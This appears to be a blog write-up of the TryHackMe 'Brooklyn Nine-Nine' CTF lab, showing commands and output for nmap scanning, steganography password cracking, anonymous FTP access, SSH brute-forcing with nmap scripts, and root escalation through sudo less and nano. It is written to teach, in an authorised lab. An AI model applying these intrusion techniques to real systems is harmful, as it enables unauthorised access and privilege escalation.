In this article we dive deep into the Brooklyn Nine-Nine CTF machine on TryHackMe. Our goals are to Learn, work with tools, dig deeper into vulnerabilities, and find the flags.
Brooklyn Nine-Nine is also a TV series, and the CTF is named after it.
Sometimes the author leaves clues referencing the show, so you can check a short biography on Wikipedia if you like.
Although I couldn’t find anything useful there, let’s start the machine.
After we start the CTF machine, it gets an IP. In this article the machine’s IP is 10.81.133.24 .
Usually the first step on any CTF is enumeration — finding what services are available and what information we can use.
Press enter or click to view image in full size
The lab asks for a user flag and a root flag ( usually present on the server ). and it also says there are two ways to gain root access ( which means we should get a reverse shell first, and then there are two vulns to exploit for privilege escalation ).
Let’s start the enumeration with nmap tool. we need to identify what ports/services are up on the given IP. so we can work with them and map our attack surfaces based on them:
nmap -p- -T4 -sV -Pn 10.81.133.24So after doing an nmap scan, we have this output log and discover 3 open port as ftp, ssh and http. let’s start on port 80 and the web application.
root@root:~# nmap -p- -T4 -sV -Pn 10.81.133.24
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-17 18:35 UTC
Nmap scan report for 10.81.133.24
Host is up (0.075s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.25 seconds
root@root:~#
when i opened http://10.81.133.24/ , I encountered a full-page background image, and after a small scroll, we have this message at the end of the page as a small label:
Press enter or click to view image in full size
which looks like it’s a deceptive message. so let’s take a inspect the page source to view the source code ( e.g.: ctrl+u in firefox ):
so we have a comment in source which mentions and tell us about steganography. which looks like there is something hidden in the image. so let’s take a look.
exiftool to extract the image metadata:
┌──(kali㉿kali)-[~/Desktop]
└─$ exiftool brooklyn99.jpg
ExifTool Version Number : 13.25
File Name : brooklyn99.jpg
Directory : .
File Size : 70 kB
File Modification Date/Time : 2026:02:17 22:49:00+03:30
File Access Date/Time : 2026:02:17 22:49:25+03:30
File Inode Change Date/Time : 2026:02:17 22:49:23+03:30
File Permissions : -rw-------
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 533
Image Height : 300
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 533x300
Megapixels : 0.160strings tool to extract hard-coded strings:
┌──(kali㉿kali)-[~/Desktop]
└─$ strings brooklyn99.jpg
JFIF
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
,Fmb=bC
EKE;
s{}/
Du#8
+ppx
>wg(
-TpvG3
.
.
.and also I ran a dirsearch.py to look for hidden directories/files too. It’s always good to do this. first time with a small and default word-list and second time with a larger word-lists if you did not find anything.
and until here, we can not find any useful things.
Based on the hint comment we read previously, we have to use steghide tool to extract the hidden messages from image, which needs to have a valid password. so there is another tool to crack this one called stegcracker :
┌──(kali㉿kali)-[~/Desktop]
└─$ stegcracker brooklyn99.jpg /usr/share/wordlists/fasttrack.txt
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2026 - Luke Paris (Paradoxis)StegCracker has been retired following the release of StegSeek, which
will blast through the rockyou.txt wordlist within 1.9 second as opposed
to StegCracker which takes ~5 hours.
StegSeek can be found at: https://github.com/RickdeJager/stegseek
Counting lines in wordlist..
Attacking file 'brooklyn99.jpg' with wordlist '/usr/share/wordlists/fasttrack.txt'..
Successfully cracked file with password: admin
Tried 239 passwords
Your file has been written to: brooklyn99.jpg.out
admin
which will extract a file containing a username and password. but for what service or where do we have to use it? let’s find out.
Note: because of the machine privacy, I did not disclose usernames or passwords directly
as we discovered, we have two other services as FTP and SSH too. let’s test our username:password there and see what happened:
root@root:~# ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:and as we can see, what we found doesn’t belong to this service. let’s try FTP too:
root@root:~# ftp 10.81.133.24
Connected to 10.81.133.24.
220 (vsFTPd 3.0.3)
Name (10.81.133.24:root): holts
530 This FTP server is anonymous only.
ftp: Login failed
ftp>and this username and password are not belong to this service too. and we found out this FTP server is working only with anonymous login ( standard user called anonymous in FTP servers for everyone access with defined permissions ).
so I try again with anonymous user:
root@root:~# ftp 10.81.133.24
Connected to 10.81.133.24.
220 (vsFTPd 3.0.3)
Name (10.81.133.24:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /
ftp> ls /
229 Entering Extended Passive Mode (|||24827|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 119 May 17 2020 note_to_jake.txt
226 Directory send OK.
ftp> more note_to_jake.txt
From Amy,Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
ftp>
so here, we are looking at a message for Jake. maybe that password we discovered belongs to the Jake user ? let’s try this one too:
root@root:~# ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:It didn’t work and the FTP server is only working with anonymous login too. so maybe we have to brute force SSH password for Jake user ? because the hint says the password is weak. so let’s try this one too:
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ sudo nmap -Pn -sV --script ssh-brute --script-args userdb=usernames,passdb=passwords -p22 10.81.130.42
Starting Nmap 7.98SVN ( https://nmap.org ) at 2026-02-18 11:59 +0330
NSE: [ssh-brute] Trying username/password pair: jake:jake
NSE: [ssh-brute] Trying username/password pair: amy:amy
NSE: [ssh-brute] Trying username/password pair: holts:holts
NSE: [ssh-brute] Trying username/password pair: jake:password
NSE: [ssh-brute] Trying username/password pair: amy:password
NSE: [ssh-brute] Trying username/password pair: holts:password
NSE: [ssh-brute] Trying username/password pair: jake:123456
NSE: [ssh-brute] Trying username/password pair: amy:123456
NSE: [ssh-brute] Trying username/password pair: holts:123456
NSE: [ssh-brute] Trying username/password pair: jake:12345678
NSE: [ssh-brute] Trying username/password pair: amy:12345678
NSE: [ssh-brute] Trying username/password pair: holts:12345678
.
.
.Nmap scan report for 10.81.130.42
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-brute:
| Accounts:
| jake:[Hide For Machine Privacy] - Valid credentials
|_ Statistics: Performed 10694 guesses in 900 seconds, average tps: 12.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 901.47 seconds
and finally, we managed to find a password belonging to the jake user. but let’s explain what I did as you can see in the above logs.
I usually use nmap tool for enumeration. although you can use others like hydra, metasploit and github scripts, but honestly I do not trust them very much, because I see sometimes false negatives on them. but nmap scripts are good.
so until here, we find 3 user as Jake, Holts and Amy ( in FTP msg ). so I create a file called usernames and put these users into it. and then also I use a common password list from github as our word-list.
Note: I also work on some common vulns for ssh service ( e.x: searchsploit “OpenSSH 7.6p1” ), but I didn’t manage to exploit these vulns.
Join Medium for free to get updates from this writer.
so after some minutes, the nmap successfully found the jake ssh password. let’s log in manually and see what we have on the server:
┌──(kali㉿kali)-[~/Desktop/temp]
└─$ ssh [email protected]
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
[email protected]'s password:
Last login: Wed Feb 18 08:41:04 2026 from 192.168.197.175
jake@brookly_nine_nine:~$ ls
jake@brookly_nine_nine:~$ ls -la
total 44
drwxr-xr-x 6 jake jake 4096 May 26 2020 .
drwxr-xr-x 5 root root 4096 May 18 2020 ..
-rw------- 1 root root 1349 May 26 2020 .bash_history
-rw-r--r-- 1 jake jake 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 jake jake 3771 Apr 4 2018 .bashrc
drwx------ 2 jake jake 4096 May 17 2020 .cache
drwx------ 3 jake jake 4096 May 17 2020 .gnupg
-rw------- 1 root root 67 May 26 2020 .lesshst
drwxrwxr-x 3 jake jake 4096 May 26 2020 .local
-rw-r--r-- 1 jake jake 807 Apr 4 2018 .profile
drwx------ 2 jake jake 4096 May 18 2020 .ssh
-rw-r--r-- 1 jake jake 0 May 17 2020 .sudo_as_admin_successful
jake@brookly_nine_nine:~$ cat .bash_history
cat: .bash_history: Permission denied
jake@brookly_nine_nine:~$ sudo ls
[sudo] password for jake:
Sorry, user jake is not allowed to execute '/bin/ls' as root on brookly_nine_nine.
jake@brookly_nine_nine:~$ id
uid=1000(jake) gid=1000(jake) groups=1000(jake)
jake@brookly_nine_nine:~$ ls /home
amy holt jake
jake@brookly_nine_nine:~$ ls /home/amy
jake@brookly_nine_nine:~$ ls /home/amy -la
total 32
drwxr-xr-x 5 amy amy 4096 May 18 2020 .
drwxr-xr-x 5 root root 4096 May 18 2020 ..
-rw-r--r-- 1 amy amy 220 May 17 2020 .bash_logout
-rw-r--r-- 1 amy amy 3771 May 17 2020 .bashrc
drwx------ 2 amy amy 4096 May 18 2020 .cache
drwx------ 3 amy amy 4096 May 18 2020 .gnupg
-rw-r--r-- 1 amy amy 807 May 17 2020 .profile
drwx------ 2 amy amy 4096 May 17 2020 .ssh
jake@brookly_nine_nine:~$ ls /home/holt -la
total 48
drwxr-xr-x 6 holt holt 4096 May 26 2020 .
drwxr-xr-x 5 root root 4096 May 18 2020 ..
-rw------- 1 holt holt 18 May 26 2020 .bash_history
-rw-r--r-- 1 holt holt 220 May 17 2020 .bash_logout
-rw-r--r-- 1 holt holt 3771 May 17 2020 .bashrc
drwx------ 2 holt holt 4096 May 18 2020 .cache
drwx------ 3 holt holt 4096 May 18 2020 .gnupg
drwxrwxr-x 3 holt holt 4096 May 17 2020 .local
-rw-r--r-- 1 holt holt 807 May 17 2020 .profile
drwx------ 2 holt holt 4096 May 18 2020 .ssh
-rw------- 1 root root 110 May 18 2020 nano.save
-rw-rw-r-- 1 holt holt 33 May 17 2020 user.txt
jake@brookly_nine_nine:~$ cat /home/holt/user.txt
[Hide For Machine Privacy]
jake@brookly_nine_nine:~$ Then, I login to the ssh server with user jake and get some info like jake is not in the sudoers group, which means we have no root access here. and then I discover the user flag on the holt directory and I enter this into the CTF machine.
Press enter or click to view image in full size
I found something strange and It was my mistake too.
when I looked at /home path with jake user, I noticed username is holt, not holts . because when we cracked the picture on the web, it showed us a username:password pair:
+ Holts Password:
+ [Hide For Privacy Machine]
+ Enjoy!!
and I mistakenly thought It’s Holts as username. so I tried this with the given password and no result. but now, when I see the /home directory with user jake, I notice it’s holt user. so I try again this holt username with the given password and Oops:
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh [email protected]
[email protected]'s password:
Last login: Tue May 26 08:59:00 2020 from 10.10.10.18
holt@brookly_nine_nine:~$
OK. so up to here, we have access to the two ssh user as jake and holt. and next, we should find the root flag on the root directory. so we need to increase our level of access and get a root access. so let’s find out there is any vuln on the server or not, to do privilege escalation:
jake@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser jake may run the following commands on brookly_nine_nine:
(ALL) NOPASSWD: /usr/bin/less
jake@brookly_nine_nine:~$
one of the first things we do in CTF is usually sudo -l, which means it will show a list of tools that we can execute them with root access without any password ( even if we are not on the root group ). It called sbin too:
jake@brookly_nine_nine:~$ ls -l /bin/less
-rwsr-xr-x 1 root root 170760 Dec 1 2017 /bin/less
jake@brookly_nine_nine:~$so we can use less command to read files with root access. let’s find out there is any feature in this tools or even any vuln in this version to exploit?
one of the famous websites in this field is GTFOBins , which you can search tool names and see their features/payloads:
Press enter or click to view image in full size
as we can see on the above image, the less tool has a feature to allow us to execute a command with the same access we run it.
which means if we use sudo less [the path of random existing file] and then use this command: !/bin/bash , it will run as root and we have a shell with root access. let’s try
jake@brookly_nine_nine:~$ id
uid=1000(jake) gid=1000(jake) groups=1000(jake)
jake@brookly_nine_nine:~$ sudo less .bash_history
root@brookly_nine_nine:~# id
uid=0(root) gid=0(root) groups=0(root)
root@brookly_nine_nine:~# ls /root
root.txt
root@brookly_nine_nine:~# Boom. we got a root access and can read the root.txt as root flag.
but wait a second. the challenge says there are two potential ways to get root access:
Press enter or click to view image in full size
so where is the second one? we are here to learn more, not only to find flags. so let’s move more. I think maybe it’s placed on the holt user as we have the holt password too. let’s take a look.
Note: when we login as jake user, I tried to cat .bash_history file on the jake user to see what was the last running commands by this user. maybe some hint ! and I notice we do not have any access and only root can read these files. but when i open this file with sudo less, I notice some funny commands. it look like the whole scenarios in this machine mentioned there:
cd .ssh/
ls
chmod 600 id_rsa
ssh -i id_rsa [email protected]
cat id_rsa
ssh -i id_rsa [email protected]
ssh-copy-id [email protected]
ssh [email protected]
cd ..
chmod 700 ,ssh
chmod 700 .ssh
chmod go-w
chmod go-w .
cd .
cd ..
chmod 700 holt/
cd holt/
service ssh restart
chmod ../holt 755
chmod 755 ../holt
chmod 755 .ssh/
service ssh restart
su - holt
service ssh restart
su - holt
nano /etc/ssh/sshd_config
service ssh restart
nano /etc/ssh/ssh_config
service ssh restart
nano /etc/ssh/sshd_config
grep -ni Allow /etc/ssh/sshd_config
nano +77 /etc/ssh/sshd_config
service ssh restart
nano +77 /etc/ssh/sshd_config
service ssh restart
ls
su - holt
rm -rf /var/www/html/robots.txt
rm -rf /var/www/html/holt
ls
cd /var/www/gtml
cd /var/www/html
ls
cat index.html
nano index.html
nano holt_password.txt
ls
steghide embed -cf brooklyn99.jpg -ef brooklyn99.jpg
steghide embed -cf brooklyn99.jpg -ef holt_password.txt
rm -rf holt_password.txt
ls
apt-get install python3-pip
pip3 install stegcracker
stegcracker brooklyn99.jpg
ls
nano note.txt
ls
stegide embed -cf photo.jpg -ef note.txt
steghide embed -cf photo.jpg -ef note.txt
nano index.html
rm -rf note.txt
ls
stegide extract -sf photo.jpg
steghide extract -sf photo.jpg
cat note.txt
rm -rf note.txt
ls
nano note.txt
steghide embed -cf brooklyn99.jpg -ef note.txt
rm -rf note.txtwhat we can extract from this log:
I use steghide and some manual passwords like we discover in this lab plus exiftool and strings tools to reach this file, and I didn’t manage to find anything.
I use a small word list with stegcracker to extract file, and did not work. so i finally use a big one as rockyou.txt to crack this photo.jpg and no result too.
and when I play more with steghide, in the funny way it turns out the password was empty. which means only press enter as password:
┌──(kali㉿kali)-[~/Desktop]
└─$ steghide extract -sf photo.jpg
Enter passphrase: [only Enter][no password]
wrote extracted data to "note.txt". ┌──(kali㉿kali)-[~/Desktop]
└─$ cat note.txt
----------- StillNoob was here ------------------
┌──(kali㉿kali)-[~/Desktop]
└─$
OK. so let’s go to the holt account and find the second way to get root access:
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh [email protected]
[email protected]'s password:
Last login: Wed Feb 18 10:12:11 2026 from 127.0.0.1
holt@brookly_nine_nine:~$ id
uid=1002(holt) gid=1002(holt) groups=1002(holt)
holt@brookly_nine_nine:~$ cat .bash_history
ls
su - jake
exit
holt@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for holt on brookly_nine_nine:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser holt may run the following commands on brookly_nine_nine:
(ALL) NOPASSWD: /bin/nano
holt@brookly_nine_nine:~$
as we can see, we have another tool as nano which we can execute with sudo without password ( we can run nano as root ). so I went to the GTFOBins site again for nano:
Press enter or click to view image in full size
and after executing this payload ( execute command with nano as root ), we have a shell with root access:
root@brookly_nine_nine:~# id
uid=0(root) gid=0(root) groups=0(root)
root@brookly_nine_nine:~# OK. let’s read the root.txt and finish this CTF:
root@brookly_nine_nine:~# cd /root/
root@brookly_nine_nine:/root# ls
root.txt
root@brookly_nine_nine:/root# cat root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: [Hide For Privacy Machine]Enjoy!!
root@brookly_nine_nine:/root#
In this write-up, we solved the brooklynninenine CTF, work with tools like nmap, stegcracker, steghide, exiftool, strings and etc.
we learn about how to root this box in both two ways and we deep more as we need on the services/assets we had.
Press enter or click to view image in full size
I also share what I did to solve this lab too, to learn much as we can. I hope you enjoy this write-up, because i did too much.
and at the end, this adventure continues and we will work on anonymous lab as we expect in TryHackMe — All in One series.